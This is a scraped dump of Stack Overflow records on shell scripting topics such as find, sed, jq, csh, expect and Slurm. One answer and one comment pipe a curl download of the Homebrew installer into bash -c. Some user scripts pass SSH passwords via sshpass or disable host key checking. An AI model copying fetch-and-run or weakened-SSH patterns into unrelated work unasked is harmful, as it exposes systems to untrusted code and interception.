has body: I wanted to find all files with the extension .png and .jpg in a directory, but as soon as I try to search for two extension with the group matcher from regular expression it doesn't find anything. Does the command "find" not support groups, or am I using them wrong. I used https://regex101.com/ to test the expression below and it gave me the result I expected. I tried the command find ./assets -regex '.*\.(png|jpg)' but this doesn't show any files. If I use find ./assets -regex '.*\.png' find ./assets -regex '.*\.jpg' it finds all files I search for, but I need it in one command. I also, just for test purpose, tried find ./assets -regex '.*\.(.*)' which also finds not a single file. And adding -regextype posix-extended gives an error. It should match for example: ./assets/image.png ./assets/subdir/image2.png ./assets/image3.jpg There are some JSON files as well which should not be matched, like: ./assets/image.json ./assets/subdir/image2.json Don't know if this is relevant or not but I'm on a MacBook and use the zsh terminal.

http://stackoverflow.com/q/76751837
tagged with: linux
tagged with: bash
tagged with: vi
has comment: http://stackoverflow.com/comment/135318262
has comment: http://stackoverflow.com/comment/135311757
has answer: http://stackoverflow.com/a/76754504
has title: How to remove characters from a string in a file starting from a given substring until the next n number of characters in Linux?
score: 0
type: Question
linked to: http://stackoverflow.com/q/10822809
has body: I have a file that contains a single line with usernames followed by their other information. For instance the file contains: Clara01{25 characters of info}Betty29{25 characters of info}Edith34{25 characters of info}Raji11{25 characters of info} All in a single very long line with many usernames followed by 25 characters of their information. Now, I want to search Betty29 and then delete/remove the substring Betty29{25 characters of info}. That is, how should I delete Betty29 and then next 25 characters. How should I do that in Linux shell scripting? I have read about sed command but I still could not figure out. I am new to shell scripting so please be kind.
tagged with: shell
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/135311753
tagged with: unix
answer count: 3
has answer: http://stackoverflow.com/a/76760214
has comment: http://stackoverflow.com/comment/135311746
has comment: http://stackoverflow.com/comment/135325689
has answer: http://stackoverflow.com/a/76760572

http://stackoverflow.com/comment/135533565
score: 0
comment on: http://stackoverflow.com/q/76880608
has text: If it isn't spelt the same as the class name it isn't a constructor, and named constructors are deprecated in HP anyway, for some strange reason.
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/135528979
comment on: http://stackoverflow.com/a/76878154
has text: @Paolo Ask the java developers ... that's what it does on my system.
type: Comment
type: AnswerComment
score: 0

http://stackoverflow.com/a/76864822
upvote count: 1
type: Answer
downvote count: 0
score: 1
answers question: http://stackoverflow.com/q/76864756
has body: Well, there's nothing wrong with git! I suppose you had a file named aboutme.txt and you've pushed it to your repository before and now you've deleted that file and that's why git status gives you that thing. If you want to restore the deleted file you should run these two commands in order: git reset HEAD git checkout -- . But if you want to commit the deleted file just use these commands: git add . git commit -m "Text file deleted" git push

http://stackoverflow.com/q/76845280
has body: I am taking input from the user. I perform two checks; the first is to make sure that it does not contain any numbers and the second is to ensure that there are no white spaces. set test = `echo $last_name | grep "[0-9]"` if ($test != "") then echo "vBalance [Error] last_name: Employee name should only contain letters!" continue endif set test = `echo $last_name | grep " "` if ("$test" != "") then echo "vBalance [Error] last_name: Employee last name must not contain spaces!" continue endif The first check is performed without problems. The second check, however, I recieve "if: Expression Syntax" error. I tried using "" around the variable : if ("$test" != "") then I also removed the "" : if ($test != "") then Niether one solved the problem.
has comment: http://stackoverflow.com/comment/135473022
score: 0
tagged with: grep
type: Question
answer count: 0
tagged with: shell
type: UnansweredQuestion
has title: if: Expression Syntax cshell
has comment: http://stackoverflow.com/comment/135482810
tagged with: csh
has comment: http://stackoverflow.com/comment/135478500
has comment: http://stackoverflow.com/comment/135474665

http://stackoverflow.com/comment/135313940
has text: I find it weird, that you use a **non-interactive** shell script `entrypoint.sh` to modify a configuration file for an **interactive** shell (.bashrc). Moreover, every time you run entrypoint.sh, the .bashrc will get the same line added over and over again. I have no idea what you are doing here, and also don't know conda, but this simply does not look right. If you **really** need your .bashrc be initialized to a certain well defined state, create a `.bashrc.master` using your text editor, and in your entrypoint.sh do a `cp ~/.bashrc.master ~/.bashrc`.
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/76752760
type: Comment

http://stackoverflow.com/q/76806494
score: 0
has title: filename does not match the pattern in the case construct of a shell script
answer count: 2
type: Question
tagged with: shell
has comment: http://stackoverflow.com/comment/135404995
has comment: http://stackoverflow.com/comment/135421538
has answer: http://stackoverflow.com/a/76871978
tagged with: bash
accepted answer: http://stackoverflow.com/a/76871978
has comment: http://stackoverflow.com/comment/135404960
has comment: http://stackoverflow.com/comment/135404947
has body: My goal for this program was to efficiently rearrange the random file in a directory and place then in their respective sub directories based on their formats that is audio files are placed in the audios directory and so on. so far the pattern to match this files does not yield the required results and all the files are being moved to the others directory. here is the code #!/bin/bash # Get the path of the current directory CURR_DIR="$(cd "$(dirname "$0")" && pwd)"; # SCRIPT_NAME="$(basename "${BASE_SOURCE[0]}")" SCRIPT_NAME="$(basename "$0")" echo "$SCRIPT_NAME" # List the various file format and thier extensions LIST_DOCS=("doc" "docx" "pdf" "txt") LIST_IMAGES=("jpg" "jpeg" "png" "gif") LIST_AUDIOS=("mp3" "wav" "ogg" "aac" "m4a" "mp4" "wma" "aiff" "au" "vox") LIST_VIDEOS=("mp4" "avi" "mov" "wmv" "mpeg" "mpg" "m4v" "mkv" "flv" "webm") # Check if the images, videos, audios and documents directory exist for dir_name in images videos documents audios others; do if [ ! -d "$CURR_DIR/$dir_name" ]; then mkdir "$CURR_DIR/$dir_name" fi done # Read all the files and sort them for file in "$CURR_DIR"/* do # Check if the current file is not the script itself if [ "$file" = "$CURR_DIR/$SCRIPT_NAME" ]; then continue fi if [ -d "$file" ]; then continue fi # Move the file to the destination directory case "$file" in *."${LIST_DOCS}") echo "Moving $file to documents/" mv $file "$CURR_DIR/documents/" ;; *."${LIST_IMAGES}") echo "Moving $file to documents/" mv $file "$CURR_DIR/images/" ;; *."${LIST_VIDEOS}") echo "Moving $file to documents/" mv $file "$CURR_DIR/videos/" ;; *."${LIST_AUDIOS}") echo "Moving $file to documents/" mv $file "$CURR_DIR/audios/" ;; *) echo "Moving $file to documents/" mv "$file" "$CURR_DIR/others" ;; esac done echo -e "Your files are now sorted :) \nProcess terminated" I re-adjusted the pattern at the level of the case construct to match the files to a pattern that included a wildcard at the prefix and a list that holds all the various extensions belonging …
has answer: http://stackoverflow.com/a/76806589
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/76806589
has comment: http://stackoverflow.com/comment/135421502
has comment: http://stackoverflow.com/comment/135406735

http://stackoverflow.com/q/76734936
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/135283267
score: 0
answer count: 0
has body: ➜ ~ nano ~/.zshrc zsh: command not found: nano ➜ ~ pwd /Users/uttamkhan ➜ ~ ls zsh: command not found: ls ➜ ~ exec $SHELL /etc/zshrc:7: command not found: locale /Users/uttamkhan/.oh-my-zsh/oh-my-zsh.sh:56: command not found: mkdir /Users/uttamkhan/.oh-my-zsh/tools/check_for_upgrade.sh:29: command not found: git /Users/uttamkhan/.oh-my-zsh/oh-my-zsh.sh:115: command not found: rm compdump:138: command not found: mv /Users/uttamkhan/.zshrc:104: command not found: pyenv
tagged with: shell
has comment: http://stackoverflow.com/comment/135334981
tagged with: oh-my-zsh
has title: MACOS ~/.zshrc shell isn't recognizing command
tagged with: zshrc
type: Question
tagged with: macos-ventura
has comment: http://stackoverflow.com/comment/135283903

http://stackoverflow.com/comment/135307106
has text: Who knows what `fish` is doing then. (Well, I'm sure many people do, just not me :) ) But keep in mind that `fish` does not attempt to follow the POSIX standard where it thinks it has a better approach, so you can't really extrapolate how a `fish` pipeline works by comparing it to how POSIX pipelines work. (A *pipe* is an operating-system construct; a *pipeline* is a shell syntax that usually, but not necessarily, uses pipes to accomplish a shell-defined goal.)
comment on: http://stackoverflow.com/q/76749128
type: QuestionComment
type: Comment
score: 1

http://stackoverflow.com/comment/135287243
comment on: http://stackoverflow.com/q/76735566
score: 0
type: QuestionComment
type: Comment
has text: In databricks we can execute commands in 3 ways: %sh, %scala, %python. So far I can disable rm command in %sh mode. For scala, I found the package which has implementation for rm command. However, I dont have idea about how I can override this function

http://stackoverflow.com/comment/135262433
has text: is the input guaranteed to always have 2 digits after the decimal? could the input include something like `2.1234`?
type: QuestionComment
comment on: http://stackoverflow.com/q/76722348
type: Comment
score: 0

http://stackoverflow.com/comment/135346756
has text: Appreciate this - I found the alternative use without the @ before you managed to post your answer but it is the solution I used as it works fine in this case.
score: 1
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/76772706

http://stackoverflow.com/comment/135448331
has text: Also see [BashFAQ/048](https://mywiki.wooledge.org/BashFAQ/048).
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76831000

http://stackoverflow.com/comment/135421502
has text: @CharlesDuffy, you mention shell does not have a construct to does what i want exactly, how can i use the associative array mapping extension?
comment on: http://stackoverflow.com/q/76806494
score: 0
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/135258327
comment on: http://stackoverflow.com/q/76720260
type: QuestionComment
type: Comment
score: 0
has text: Unless `$base_path` is `.` or an absolute path, `find ${base_path}/$line` while your current directory is already `$base_path` cannot work. Remove `cd $base_path`, maybe. Note: `for line in $(cat "$file_name"); do` should rather be `while read -r line; do ... done < "$file_name"`. And you should quote `*.sql` to prevent its expansion by the shell.

http://stackoverflow.com/q/76755757
answer count: 2
accepted answer: http://stackoverflow.com/a/76758443
linked to: http://stackoverflow.com/q/32191174
tagged with: android
type: Question
tagged with: shell
has answer: http://stackoverflow.com/a/76758670
has title: ADB process blocks when starting background process ADVANCED
upvote count: 1
possible better answer: http://stackoverflow.com/a/76758670
favorite count: 0
has body: So I was reading this post on how to run sleep in background via ADB shell: ADB process blocks when starting background process There is something more advanced I want to do with this, where I want to get the pid of the sleep process running in background - I want to see if this is possible via a one line command or passing this all in a script that I can call. However, every time I attempt to do it, it hangs. So what I have in a script is: sleep 100 &amp; echo $!; this is stored in /data/local/tmp/script.sh If I run this script in the shell itself, it works just fine: adb -s &lt;DEVICE&gt; shell y2q:/ $ sh /data/local/tmp/script.sh 12009 $ But if I do the following: adb -s &lt;DEVICE&gt; shell sh /data/local/tmp/script.sh it returns the pid but it hangs until the sleep finishes. Is there a way to do this command WITHOUT it blocking on the sleep? Thanks for the help.
downvote count: 0
score: 1
tagged with: bash
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/76758443
tagged with: adb

nagios
tag name: nagios
tags question: http://stackoverflow.com/q/76825948
type: Tag

http://stackoverflow.com/q/76878347
score: 0
has title: When running confluence via CLI, where does tomcat retrieve its variables from
tagged with: confluence
has answer: http://stackoverflow.com/a/76889089
tagged with: spring-boot
has body: I am trying to run a confluence server on command line, however even on an empty project I seem to be getting errors due to GC. Because of that I was trying to increase the amount of memory available to the JVM for confluence, but I'm not sure where these values are being set for the tomcat server. As can be seen below they are being read from somewhere but I'm not sure where: Logs with the command line arguments For context I am running atlas-run after doing a fresh install of a plugin by doing atlas-build-confluence-plugin
type: Question
tagged with: shell
type: UnansweredQuestion
tagged with: tomcat
answer count: 1

http://stackoverflow.com/q/76772095
has title: How can I make my Slurm script loop over a list of file names?
linked to: http://stackoverflow.com/q/6022384
has body: I have a slurm script to run my python code: #!/bin/bash -l #SBATCH --nodes=1 #SBATCH --ntasks=1 #SBATCH --cpus-per-task=1 #SBATCH --mem=10G #SBATCH --account=my_account #SBATCH --qos=default #SBATCH --time=2-00:00:00 ###Array setup here #SBATCH --array=1 #SBATCH --open-mode=truncate #SBATCH --output=out_files/output.o module purge module load my_cluster module load Miniconda3/4.9.2 eval &quot;$(${EBROOTMINICONDA3}/bin/conda shell.bash hook)&quot; conda activate my_conda_env cd /my_directory python my_python_code.py -filename file_a.txt This works, but at the moment, it just launches 1 job and uses file_a.txt as an argument. How can I launch 10 simultaneous jobs? I know I can use: #SBATCH --array=1-10 but I want to use file_a.txt as the argument for job 1, file_b.txt as the argument for job 2 etc.. I would like to provide the lists of file names as a separate text file if possible, which is read by the slurm script.
answer count: 1
favorite count: 0
type: AnsweredQuestion
tagged with: slurm
has answer: http://stackoverflow.com/a/76772242
downvote count: 0
type: Question
accepted answer: http://stackoverflow.com/a/76772242
tagged with: shell
score: 1
upvote count: 1
tagged with: python

http://stackoverflow.com/comment/135350277
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76774173
has text: Note that `-F` can't anchor with `^`, so might also throw away `other.test.pwd=...` though that doesn't look like an issue here.

http://stackoverflow.com/comment/135304160
type: AnswerComment
comment on: http://stackoverflow.com/a/76747486
score: 2
has text: I added the whole script, so there's no confusion.
type: Comment

http://stackoverflow.com/q/76877760
tagged with: zsh
type: Question
has answer: http://stackoverflow.com/a/76877942
tagged with: shell
has comment: http://stackoverflow.com/comment/135528600
has answer: http://stackoverflow.com/a/76877810
has body: I have a text file: - the quick brown - fox jumps over - the lazy dog The structure of each line is [hyphen] [space] [text]. Then I wrote this: echo "$(cat file.txt | tr "\r\n" ";" | tr -d "-")" // the quick brown- fox jumps over- the lazy dog How can I format the text like below? I want to add a space before the hyphen but cannot figure out the proper method. the quick brown - fox jumps over - the lazy dog
possible better answer: http://stackoverflow.com/a/76877942
answer count: 3
accepted answer: http://stackoverflow.com/a/76877810
upvote count: 0
tagged with: bash
has answer: http://stackoverflow.com/a/76877787
has comment: http://stackoverflow.com/comment/135528556
has title: Read and output a txt file to a desired format
favorite count: 0
downvote count: 1
type: AnsweredQuestion
score: -1

http://stackoverflow.com/comment/135424087
comment on: http://stackoverflow.com/q/76815964
has text: Hey, don't knock us grey beards -- we've earned it `:)`
type: Comment
score: 0
type: QuestionComment

http://stackoverflow.com/comment/135265723
score: 0
comment on: http://stackoverflow.com/q/76722146
type: QuestionComment
type: Comment
has text: I can also add that, depending on how you have your system setup, it may be using the `environment variables` from the original laravel project, so are you sure it is not wiping out the laravel's caller instead of the other system? Another solution (and I would say better one), would be to do an HTTP call to that other laravel system if possible, or just know which queue it is using and dispatch an event so that other system gets it and triggers, internally, the `migrate:fresh` with `$this->artisan(...)`

http://stackoverflow.com/comment/135341813
score: 0
has text: Yeah, forgot that. Added it now.
type: Comment
comment on: http://stackoverflow.com/q/76769065
type: QuestionComment

http://stackoverflow.com/comment/135481852
type: QuestionComment
score: 1
has text: @Fravadona Ohhh I just got it, an "" is a valid value for the command so it executes and thus the test evaluates to true. Thanks!
type: Comment
comment on: http://stackoverflow.com/q/76850146

http://stackoverflow.com/a/76783355
has comment: http://stackoverflow.com/comment/135366810
score: 5
upvote count: 5
answers question: http://stackoverflow.com/q/76783341
type: Answer
has body: You can't do this with sh, but you can do it with bash (as long as you aren't on the ancient version shipped by Apple). #!/usr/bin/env bash case $BASH_VERSION in ''|[1-3].*|4.[012].*) echo "ERROR: bash 4.3 or newer required" >&2; exit 1;; esac exec {BASH_XTRACEFD}> >(tee -a ScriptNameHere.DEBUG >&2) set -x # ... other content of your script below Explaining the above: When exec is passed only redirections, and not a command, it performs those redirections in the current shell. In bash 4.x and later, BASH_XTRACEFD gives the number of the file descriptor where xtrace (set -x) will write logs. Starting somewhere later in the 4.x series (4.1? 4.3?), a redirection of {varname}>file dynamically assigns a file descriptor number to the variable "$varname" of a handle writing to file file. >(...) is a process substitution, replaced with a filename (typically on Linux something like /dev/fd/## or /proc/self/fd/##) that, when written to, will deliver content to the program invoked by the command ...; one for read is instead <(...). Thus, the net effect is to start a copy of tee in the background and attach it to a file descriptor whose number is written to $BASH_XTRACEFD, such that when set -x is later run, the logs will be written to that copy of tee and thereafter to the specified file.
downvote count: 0
has comment: http://stackoverflow.com/comment/135366759
has comment: http://stackoverflow.com/comment/135366738

http://stackoverflow.com/a/76842956
accepted answer of: http://stackoverflow.com/q/76842785
type: AcceptedAnswer
upvote count: 2
downvote count: 0
type: Answer
score: 2
answers question: http://stackoverflow.com/q/76842785
has body: Use group_by to group the objects. jq -cs 'group_by(.id)[] | {id: .[0].id, count: map(.count) | add}' &lt; file.json -s wraps the whole input into a large array so you can process all the objects instead of iterating them one by one; -c compresses the output so it looks like the desired one.

http://stackoverflow.com/comment/135377963
type: QuestionComment
score: 0
type: Comment
has text: How did you get on with my suggestion?
comment on: http://stackoverflow.com/q/76745733

http://stackoverflow.com/comment/135416012
type: QuestionComment
type: Comment
score: 0
has text: can the 1st column/field contain a multi-line value? for a 2nd column/field that contains a multi-line value, can there be any embedded spaces in the value? if any values can contain white space then please update the question to show a sample; also, please update the question to show a) the (wrong) output generated by your code and b) the (correct) expected output
comment on: http://stackoverflow.com/q/76810435

http://stackoverflow.com/comment/135376759
type: Comment
type: QuestionComment
has text: (Even if we take `eval` out of the picture, `file $(ls)` isn't reliable either; see [BashPitfalls #1](https://mywiki.wooledge.org/BashPitfalls#for_f_in_.24.28ls_.2A.mp3.29))
comment on: http://stackoverflow.com/q/76790012
score: 1

http://stackoverflow.com/comment/135506627
score: 0
type: Comment
type: AnswerComment
has text: @Kaz: In your answer, the link to TXR Lisp is broken. Otherwise thumbs-up for providing such an original solution!
comment on: http://stackoverflow.com/a/76864649

http://stackoverflow.com/comment/135365335
score: 0
type: Comment
has text: Tag bash _or_ sh, not both; they're two different languages. (Even on distros where `/bin/sh` is a symlink to `bash`, bash turns off some features when called under the `sh` name; and generally, your distro reserves the right in a future major release to replace `sh` with any other POSIX-compliant shell, so even if it's bash today, in the future it might be dash or zsh in compatibility mode, not bash at all; for Debian/Ubuntu people this has already happened).
comment on: http://stackoverflow.com/q/76783341
type: QuestionComment

http://stackoverflow.com/comment/135319227
type: Comment
score: 0
comment on: http://stackoverflow.com/q/76756050
type: QuestionComment
has text: (err, we need the output in bash of `type seqtk`, rather)

http://stackoverflow.com/a/76856201
type: Answer
has comment: http://stackoverflow.com/comment/135492112
answers question: http://stackoverflow.com/q/76856169
has comment: http://stackoverflow.com/comment/135492304
score: 0
has body: To run sh -c with multiple synchronous commands, you need to enclose them inside quotes (either " or ') and add backslash before any similar quotes using inside the command and before the dollar sign $ of the variable sh -c "export reply=$(curl -s -o /dev/null -w %{http_code} http://127.0.0.1:8080/login); if [ \"\$reply\" -lt 200 -o \"\$reply\" -ge 400 ]; then exit 1; fi;"
has comment: http://stackoverflow.com/comment/135492175
has comment: http://stackoverflow.com/comment/135492122
has comment: http://stackoverflow.com/comment/135492183
has comment: http://stackoverflow.com/comment/135492106

http://stackoverflow.com/comment/135323013
has text: Btw is there any method that can make the program run faster? using seqtk and magicblast combine sample1_R1.fastq.gz and sample1_R2.fastq.gz takes about 2min for each sample.
type: Comment
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/76757183

http://stackoverflow.com/comment/135520466
comment on: http://stackoverflow.com/a/76872927
score: 0
type: Comment
type: AnswerComment
has text: @357up `sub("kB", "", $2)` is not necessary because kB is in the third field `$3`

http://stackoverflow.com/a/76773101
has comment: http://stackoverflow.com/comment/135347691
answers question: http://stackoverflow.com/q/76770292
has body: You could use sed: sed 's/^\s*//g;s/^[0-9]*/"&",/g;s/, "/,"/g' temp_data_count.txt Which will give you the result: "1","Brian","192-11-0292","operations" "1","John","001-01-0001","engineering" "1","Lucius","992-11-0292","human resources" "2","Smith","192-11-0292","human resources" It uses three substitutions in order: s/^\s*//g will remove the leading whitespace (from uniq -c output) s/^[0-9]*/"&",/g will grab the first number and place it with quotes and a comma s/, "/,"/g removes the space that was left after the number
score: 1
upvote count: 1
downvote count: 0
has comment: http://stackoverflow.com/comment/135347382
type: Answer

http://stackoverflow.com/comment/135421162
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/76813342
has text: I took your simple approach and just the the one liner replace - works a treat, those escape chars / double backslashes were a real problem. This ----> (sed -i -e '2,$s/^[^s]*s\\\\/'"${userAgent//\\/\\\\}/" "$file") Thank you!
score: 1

http://stackoverflow.com/comment/135370314
has text: I m guessing that since the java process is consuming too much resources, when it is terminated, the parent process is also terminated as well, that being the bash script, so it wont continue to execute the rest of the script
score: 1
comment on: http://stackoverflow.com/q/76786021
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/135497799
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76859636
has text: @markalex - let me update the question for more clarity.
score: 0

http://stackoverflow.com/comment/135497749
has text: That's why ssh-agent and similar tools require -- as I said -- **the user** to eval their output. If you've never used ssh-agent, look at how it works. Its development team has gotten away for decades with telling users that unless they run `eval "$(ssh-agent -s)"` their variables won't get set. Why do you think you can't do the same?
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/76855717
type: Comment

http://stackoverflow.com/a/76848015
score: 0
answers question: http://stackoverflow.com/q/76845788
has body: There are a couple of issues with your code: Quotes don't nest. "a"b"c" is not a string containing a"b"c, it is a quoted a followed by an unquoted b followed by a quoted c. Even if you fixed (1), you try to parse the "command" (arg 2) multiple times. First the code is obtained from curl and is (intended to be) stored in a string as an argument to a bash call. Second, the function runs $2 which performs word-splitting. However, it will not do things like redirection, parameter expansion, variable assignments, and so on. c1 a; c2 when passed in becomes command c1 with two arguments, not c1 with one argument followed by another command c2. For example: $ v="a"b"c" $ echo "$v" abc $ p()($1) $ p "echo hello && echo world >/dev/null &" hello && echo world >/dev/null & $ v='echo hello; n=10; echo $n' $ p "$v" hello; n=10; echo $n $ The data returned by curl is a program, so it is appropriate to pass it to bash -c (assuming you trust it not to be malicious). However, to avoid multiple parses, it makes more sense to call bash only when you actually want to execute the code. For example: install_package(){ bash -c "$2" || exit $? } Invoke as: if code=$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh); then install_package "brew" "$code" fi
type: Answer

http://stackoverflow.com/comment/135385912
type: Comment
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/76791269
has text: Single numbers will be displayed wrong: `(32 34 36)` => ` 32-32 34-34 36-36`

.net-core
tag name: .net-core
tags question: http://stackoverflow.com/q/76724923
type: Tag

http://stackoverflow.com/comment/135376714
comment on: http://stackoverflow.com/q/76790012
score: 1
type: QuestionComment
type: Comment
has text: Why isn't this what you expect?

http://stackoverflow.com/comment/135519794
score: 0
comment on: http://stackoverflow.com/a/76823976
has text: It is possible that the developer cli reports to stderr by default. Redirect the output to stdout or change it in the developer cli.
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/135376717
score: 0
type: QuestionComment
type: Comment
has text: You need to use `eval` to execute the command substitution in the variable.
comment on: http://stackoverflow.com/q/76790012

http://stackoverflow.com/q/76830614
score: 0
tagged with: tcl
tagged with: shell
has title: Expect script multiline response from a pfsense router
has comment: http://stackoverflow.com/comment/135447669
has comment: http://stackoverflow.com/comment/135448988
upvote count: 1
favorite count: 0
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/135447661
downvote count: 1
has answer: http://stackoverflow.com/a/76831362
tagged with: ssh
type: Question
accepted answer: http://stackoverflow.com/a/76831362
answer count: 1
tagged with: expect
has body: I am trying to write an expect script to login to a pfsense router and run a few commands. I don't seem to be able to correctly match the multiline responses from the pfsense device and answer them correctly the way I see the responses when running autoexpect and working back from there. I think my script is working in passing the password in, but the large wall of text, ending with 'Enter an option: ', that I see after logging in, isn't being matched. This is what I am hoping to run: # Main script set prompt {[$>?#]: } puts "Connecting to pfSense router..." spawn ssh -p $ssh_port -o StrictHostKeyChecking=no $username@$pfsense_router expect { -re "assword.*:" { send "$password\r" expect $prompt # exp_continue } -re ".*Enter an option: " { send "8\r" expect $prompt # exp_continue } "/root:.*" { puts "SSH login successful." check_gateway_status $target_host } "Permission denied" { send_user "Authentication failed. Please check your credentials.\n" exit 1 } timeout { send_user "Timeout while trying to connect to the router.\n" exit 1 } } In order to match text looking like this: ssh $pfsense_ip -p 3456 Password for root@$pfsense_hostname: KVM Guest - Netgate Device ID: fa1a75cc70c259bca849 *** Welcome to pfSense 2.6.0-RELEASE (amd64) on edge1 *** WAN (wan) -> vtnet3 -> v4: $pfsense_ip/29 LAN (lan) -> vtnet1 -> v4: 10.0.192.253/24 OPT1 (opt1) -> vtnet2 -> v4: 10.0.182.253/24 OPT2_FORMER_192_168_2_244 (opt2) -> vtnet0 -> VTI01 (opt3) -> ipsec9 -> v4: 10.6.106.1/30 0) Logout (SSH only) 9) pfTop 1) Assign Interfaces 10) Filter Logs 2) Set interface(s) IP address 11) Restart webConfigurator 3) Reset webConfigurator password 12) PHP shell + pfSense tools 4) Reset to factory defaults 13) Update from console 5) Reboot system 14) Disable Secure Shell (sshd) 6) Halt system 15) Restore recent configuration 7) Ping host 16) Restart PHP-FPM 8) Shell Enter an option: How do I do this correctly?

http://stackoverflow.com/comment/135489514
has text: Lol, I knew there was a way to store the results and reuse them, I didn't know it was `<<<"$toplist"` - this alone cut the time at least in half. Using `grep -q` helped as well. My remaining work that needs to be done is using awk alone... @CharlesDuffy could you give me an example? I'm also seriously considering using python instead.
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76854869
score: 0

telnet
type: Tag
tag name: telnet
tags question: http://stackoverflow.com/q/76808171

http://stackoverflow.com/comment/135439870
type: AnswerComment
comment on: http://stackoverflow.com/a/76823976
score: 0
has text: we have built our own cli, developer will deploy all the services.
type: Comment

http://stackoverflow.com/comment/135473628
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76845788
has text: `install_package(){ bash -c "$2" || exit $?; }; install_package "brew" "$(curl -fsSL ...)"` seems safer
score: 1

http://stackoverflow.com/comment/135348659
type: Comment
has text: the answer below it what i want
comment on: http://stackoverflow.com/q/76771421
score: 0
type: QuestionComment

http://stackoverflow.com/comment/135410522
score: 1
type: QuestionComment
has text: Is the first command you used the same as the second one? If they are, don't write it twice.
comment on: http://stackoverflow.com/q/76809509
type: Comment

http://stackoverflow.com/comment/135529047
has text: @EdMorton - that's quite likely indeed.
score: 0
comment on: http://stackoverflow.com/a/76878154
type: Comment
type: AnswerComment

http://stackoverflow.com/a/76861338
has body: Along with @tax evader's answer, I got the probe to work by putting this in the deployment spec: livenessProbe: exec: command: ["sh", "-c", 'export reply=$(curl -s -o /dev/null -w %{http_code} http://127.0.0.1:8080/login); if [ \"\$reply\" -lt 200 -o \"\$reply\" -ge 400 ]; then exit 1; fi;'
score: 0
type: Answer
has comment: http://stackoverflow.com/comment/135500282
answers question: http://stackoverflow.com/q/76856169
has comment: http://stackoverflow.com/comment/135500269

http://stackoverflow.com/comment/135413464
has text: @Fravadona: Found the issue. In the actual script, it was really the line ending issue. In the minimal example, in the absolute path (which in my case was not /home, but a different path), I had some typo I had not noticed. Apologies for the confusion.
type: QuestionComment
comment on: http://stackoverflow.com/q/76810973
type: Comment
score: 0

http://stackoverflow.com/q/76842785
type: Question
tagged with: shell
has answer: http://stackoverflow.com/a/76842956
has body: I've got a file with these jsons: {"count":42,"day":"2023-06-22","id":"123"} {"count":12,"day":"2023-06-22","id":"456"} {"count":23,"day":"2023-06-23","id":"123"} {"count":44,"day":"2023-06-23","id":"789"} {"count":65,"day":"2023-06-21","id":"456"} Actually I don't care about the day and want to group my records by id and sum the count. Expected result: {"id":"123","count":65} {"id":"456","count":77} {"id":"789","count":44} How would I achieve this with JQ?
has comment: http://stackoverflow.com/comment/135468902
downvote count: 0
score: 1
upvote count: 1
tagged with: jq
favorite count: 0
has answer: http://stackoverflow.com/a/76843053
answer count: 2
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/135469181
tagged with: http://stackoverflow.com/tag/json
linked to: http://stackoverflow.com/q/61953604
possible better answer: http://stackoverflow.com/a/76843053
accepted answer: http://stackoverflow.com/a/76842956
has title: Group and Sum value with JQ

http://stackoverflow.com/comment/135261911
has text: A number is a number is a number. Depending on the culture a string is automatically converted to/from a number. Only when you reading/writing a number in a different culture do you need to converted
type: QuestionComment
comment on: http://stackoverflow.com/q/76722348
type: Comment
score: 0

qemu
type: Tag
tag name: qemu
tags question: http://stackoverflow.com/q/76718520
tags question: http://stackoverflow.com/q/77917074

http://stackoverflow.com/q/76747690
has body: I have a bash script to run a block of commands on multiple remote machine ($1 = remote ip list file) via ssh. I created a function (function1) with all commands and call on remote machine via ssh. the script is working fine. I am trying to add a progress bar with % on process (connecting remote machine one by one and do the work). I added the code but it not working Complete script:- #!/bin/bash read -p 'AMM_Username: ' uservar read -sp 'AMM_Password: ' passvar ## Commands function function1() { echo "" echo -e "Hostname $(hostname)" echo -e "Uptime $(uptime)" echo -e "Running Kernel $(uname -r)" echo -e "Date $(date)" echo -e "TimeZone $(basename $(ls -l /etc/localtime | grep -o '/usr/share/zoneinfo/.*'))" echo "" } ## function run_remote_command() { # Show progress bar before command is executed echo -ne '##### (33%)\r' sleep 1 while read -r server; do sshpass -p "$passvar" ssh -q -n "$uservar@$server" "$(typeset -f); function1" > "output.txt" else echo "Server $server is not reachable." fi done < "$1" # Show progress bar after command is executed echo -ne '####################### (100%)\r' echo -ne '\n' } run_remote_command output I am getting + run_remote_command + echo -ne '##### (33%)\r' + sleep 1 (33%) Lin_check.sh: line 510: : No such file or directory + echo -ne '####################### (100%)\r' + echo -ne '\n'######## (100%) Line no 510 -> sshpass -p "$passvar" ssh -q -n "$uservar@$server" "$(typeset -f); function1" > "output.txt" But this line working with out process bar code (given below). function run_remote_command() { # Show progress bar before command is executed echo -ne '##### (33%)\r' sleep 1 # Show progress bar after command is executed echo -ne '####################### (100%)\r' echo -ne '\n' } Please help me to fix or modify the code. Thanks in advance, vijay
has answer: http://stackoverflow.com/a/76749836
has comment: http://stackoverflow.com/comment/135306568
type: Question
has comment: http://stackoverflow.com/comment/135304872
answer count: 1
has title: Process Bar for a Bash script
has comment: http://stackoverflow.com/comment/135305818
score: 0
tagged with: shell
tagged with: progress-bar
tagged with: linux
tagged with: bash
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/135305960

http://stackoverflow.com/comment/135330615
type: QuestionComment
type: Comment
score: 0
has text: So you're asking how to do parameter expansion without a variable? Why do you need that?
comment on: http://stackoverflow.com/q/76763104

http://stackoverflow.com/a/76864973
has comment: http://stackoverflow.com/comment/135507242
